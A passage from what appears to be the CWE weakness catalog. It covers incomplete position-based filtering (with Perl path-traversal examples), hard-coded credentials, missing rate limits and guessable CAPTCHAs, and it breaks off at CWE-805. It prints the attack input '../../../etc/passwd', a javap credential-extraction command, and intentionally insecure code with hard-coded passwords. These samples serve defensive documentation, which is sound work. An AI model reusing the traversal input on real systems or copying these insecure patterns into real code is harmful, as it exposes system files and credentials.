- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	791	Incomplete Filtering of Special Elements	1680
ParentOf	V	796	Only Filtering Special Elements Relative to a Marker	1687
ParentOf	V	797	Only Filtering Special Elements at an Absolute Position	1689

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

Example 2:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
  $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID : 796
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1685

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID : 797
Structure : Simple
Abstraction : Variant

Description

The product receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1685

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2433

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(Bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
  $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language: *(Attack)*

```
../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language: *(Result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(Result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1407	Comprehensive Categorization: Improper Neutralization	1400	2532

CWE-798: Use of Hard-coded Credentials

Weakness ID : 798
Structure : Simple
Abstraction : Base

Description

The product contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the product administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.
Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	849
ChildOf	C	671	Lack of Administrator Control over Security	1478
ChildOf	C	1391	Use of Weak Credentials	2269
ParentOf	V	259	Use of Hard-coded Password	623
ParentOf	V	321	Use of Hard-coded Cryptographic Key	785
PeerOf	B	257	Storing Passwords in a Recoverable Format	618

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	692

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2424

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	V	259	Use of Hard-coded Password	623
ParentOf	V	321	Use of Hard-coded Cryptographic Key	785

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ParentOf	V	259	Use of Hard-coded Password	623
ParentOf	V	321	Use of Hard-coded Cryptographic Key	785

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	2315
MemberOf	C	320	Key Management Errors	2319

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.*	
Integrity Confidentiality Availability Access Control Other	Read Application Data Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Other *This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.*	

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness = Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the product, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the product's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the product was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [REF-7]. In Windows environments, the Encrypted File System (EFS) may provide some protection.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Phase: Architecture and Design

If the product must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java *(Bad)*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language: *(Attack)*

```
javap -c ConnMngr.class
  22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
  24: ldc #38; //String scott
  26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
  if (strcmp(password, "Mew!")) {
    printf("Incorrect Password!\n");
    return(0)
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Example Language: Java *(Bad)*

```
int VerifyAdmin(String password) {
  if (!password.equals("Mew!")) {
    return(0)
  }
  //Diagnostic Mode
  return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C *(Bad)*

```
int VerifyAdmin(char *password) {
  if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Example Language: Java *(Bad)*

```
public boolean VerifyAdmin(String password) {
  if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
    System.out.println("Entering Diagnostic Mode...");
    return true;
  }
  System.out.println("Incorrect Password!");
  return false;
```

Example Language: C# *(Bad)*

```
int VerifyAdmin(String password) {
  if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
    Console.WriteLine("Entering Diagnostic Mode...");
    return(1);
  }
  Console.WriteLine("Incorrect Password!");
  return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java *(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

```
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET *(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 5:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.

Observed Examples

Reference	Description
CVE-2022-29953	Condition Monitor firmware has a maintenance interface with hard-coded credentials *https://www.cve.org/CVERecord?id=CVE-2022-29953*
CVE-2022-29960	Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation *https://www.cve.org/CVERecord?id=CVE-2022-29960*
CVE-2022-29964	Distributed Control System (DCS) has hard-coded passwords for local shell access *https://www.cve.org/CVERecord?id=CVE-2022-29964*
CVE-2022-30997	Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials *https://www.cve.org/CVERecord?id=CVE-2022-30997*
CVE-2022-30314	Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration *https://www.cve.org/CVERecord?id=CVE-2022-30314*
CVE-2022-30271	Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments *https://www.cve.org/CVERecord?id=CVE-2022-30271*
CVE-2021-37555	Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288] *https://www.cve.org/CVERecord?id=CVE-2021-37555*
CVE-2021-35033	Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port *https://www.cve.org/CVERecord?id=CVE-2021-35033*
CVE-2012-3503	Installation script has a hard-coded secret token value, allowing attackers to bypass authentication

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2012-3503
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm *https://www.cve.org/CVERecord?id=CVE-2010-2772*
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts *https://www.cve.org/CVERecord?id=CVE-2010-2073*
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code *https://www.cve.org/CVERecord?id=CVE-2010-1573*
CVE-2008-2369	Server uses hard-coded authentication key *https://www.cve.org/CVERecord?id=CVE-2008-2369*
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface *https://www.cve.org/CVERecord?id=CVE-2008-0961*
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access *https://www.cve.org/CVERecord?id=CVE-2008-1160*
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs *https://www.cve.org/CVERecord?id=CVE-2006-7142*
CVE-2005-3716	VoIP product uses hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information *https://www.cve.org/CVERecord?id=CVE-2005-3716*
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information *https://www.cve.org/CVERecord?id=CVE-2005-3803*
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system *https://www.cve.org/CVERecord?id=CVE-2005-0496*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	2314
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2335
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2353
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	2355
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2357
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2370
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2372
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2442
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2453

Nature	Type	ID	Name	V	Page
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2587
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2589
MemberOf	V	1340	CISQ Data Protection Measures	1340	2590
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2594
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2494
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2597
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519
MemberOf	V	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses	1425	2600

Notes

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC03-J		Never hard code sensitive information
OMG ASCSM	ASCSM-CWE-798		
ISA/IEC 62443	Part 3-3		Req SR 1.5
ISA/IEC 62443	Part 4-2		Req CR 1.5

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
70	Try Common or Default Usernames and Passwords
191	Read Sensitive Constants Within an Executable

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-729]Johannes Ullrich. "Top 25 Series - Rank 11 - Hardcoded Credentials". 2010 March 0. SANS Software Security Institute. < https://www.sans.org/blog/top-25-series-rank-11-hardcoded-credentials/ >.2023-04-07.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < https://www.veracode.com/blog/2010/12/mobile-app-top-10-list >.2023-04-07.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

[REF-1288]Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021 June 7. < http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf >.

[REF-1304]ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013 June 3. < https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01 >.2023-04-07.

CWE-799: Improper Control of Interaction Frequency

Weakness ID : 799
Structure : Simple
Abstraction : Class

Description

The product does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	691	Insufficient Control Flow Management	1517
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	747
ParentOf	B	837	Improper Enforcement of a Single, Unique Action	1762

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Insufficient anti-automation : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other	

Demonstrative Examples

Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

Example Language: C *(Bad)*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
  if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
    if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
      isValidUser = AuthenticateUser(username, password);
    }
  }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C *(Good)*

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
  if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
    if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
      isValidUser = AuthenticateUser(username, password);
    }
  }
  count++;
}
if (isValidUser) {
  return(SUCCESS);
}
else {
  return(FAIL);
}
```

Observed Examples

Reference	Description
CVE-2002-1876	Mail server allows attackers to prevent other users from accessing mail by sending large number of rapid requests. *https://www.cve.org/CVERecord?id=CVE-2002-1876*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2355
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2491

Nature	Type	ID	Name	V	Page
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < http://projects.webappsec.org/Insufficient+Anti-automation >.

CWE-804: Guessable CAPTCHA

Weakness ID : 804
Structure : Simple
Abstraction : Base

Description

The product uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular entertainers.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1390	Weak Authentication	2267
ChildOf	C	863	Incorrect Authorization	1787
CanFollow	C	330	Use of Insufficiently Random Values	814

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2475

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Sometimes)*

Common Consequences

Scope	Impact	Likelihood
Access Control Other	Bypass Protection Mechanism Other *When authorization, authentication, or another protection mechanism relies on CAPTCHA entities to ensure that only human actors can access certain functionality, then an automated attacker such as a bot may access the restricted functionality by guessing the CAPTCHA.*	

Observed Examples

Reference	Description
CVE-2022-4036	Chain: appointment booking app uses a weak hash (CWE-328) for generating a CAPTCHA, making it guessable (CWE-804) *https://www.cve.org/CVERecord?id=CVE-2022-4036*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	2355
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	21		Insufficient Anti-Automation

References

[REF-731]Web Application Security Consortium. "Insufficient Anti-automation". < http://projects.webappsec.org/Insufficient+Anti-automation >.

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID : 805
Structure : Simple
Abstraction : Base

Description

The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Relationships

